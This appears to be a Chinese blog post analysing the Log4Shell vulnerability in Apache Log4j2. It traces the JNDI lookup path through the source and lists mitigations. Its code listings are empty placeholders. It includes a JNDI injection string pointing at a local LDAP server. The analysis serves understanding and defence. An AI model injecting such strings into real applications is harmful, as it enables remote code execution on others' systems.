Log4j
前言
Log4j漏洞被称为可载入史册的里程碑式顶级供应链漏洞。
2021年底,Log4j 漏洞横空出世,在安全圈引起了轩然大波,可以说是核弹级别的漏洞,无论是渗透、研发、安服、研究,所有人都在学习和复现这个漏洞,由于其覆盖面广,引用次数庞大,直接成为可以与永恒之蓝齐名的顶级可利用漏洞,官方 CVSS 评分更是直接顶到 10.0,国内有厂商将其命名为“毒日志”,国外将其命名为 Log4Shell。
Apache log4j2是一款用于 Java 日志记录的工具。日志记录主要用来监视代码中变量的变化情况,周期性地记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。其在JAVA生态环境中应用极其广泛,影响巨大。
漏洞的触发点在于利用org.apache.logging.log4j.Logger进行log或error等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生,触发点是JNDI。
影响版本:2.0 <= Apache log4j2 <= 2.14.1
Basic Usage
Add the dependencies listed below to your classpath.
log4j-api.jar
log4j-core.jar
1 | |
1 | |
{}起到占位符的作用,被替换为传入的参数
log4j提供了一些lookup功能,可以快速打印环境变量、java版本信息、日志事件、运行容器信息等内容。
如logger.error("Java version :{}","${java:version}");将打印java版本
具体可以查看[官方文档](Log4j – Log4j 2 Lookups (apache.org))
可以看到有敏感的JndiLookup ,通过jndi来获取变量值
在log4j.core.lookup可以找到这个类
1 | |
jndiManager#lookup有熟悉的this.context.lookup(name);,context默认为InitialContext
接着看看log4j是怎么处理我们传入的message并转化为jndi的
1 | |
- 判断是否设置
noLookups(后面讲防御就是把这个参数设为true) - 判断是否有
${ - 传入
StrSubstitutor进行replace

把${xxx}中间的内容提取出来,传入resolveVariable处理,在Interpolator#lookup,把第一个:前的内容提取出来,这里就是jndi,在strLookupMap找到对应的Lookup类,即找到JndiLookup类,用这个类去lookup后面的部分。

上面是使用logger.error()触发的,日志等级默认200。
一般情况下,如logger.log(Level.INFO, "${jndi:ldap://127.0.0.1:8099/666}");
会经过logIfEnabled()的判断。

如果日志等级的值没有小于200(值越小等级越高),就不会进入logMessage来打印消息:

所以只有OFF(0)、FATAL(100)、ERROR(200)才能利用
代码中日志等级的优先级≥默认级别才可以成功,比如Struts2的默认日志等级为Info(400),WARN(300)、ERROR、FATAL、OFF、INFO这几个级别的日志都可能被利用。
更详细的利用过程及绕过可以看:Log4j2:里程碑式的顶级供应链漏洞 | 素十八 (su18.org)
Defend
- 升级到
2.17.0版本以上 - 设置
jvm参数:-Dlog4j2.formatMsgNoLookups=true - 设置环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
参考: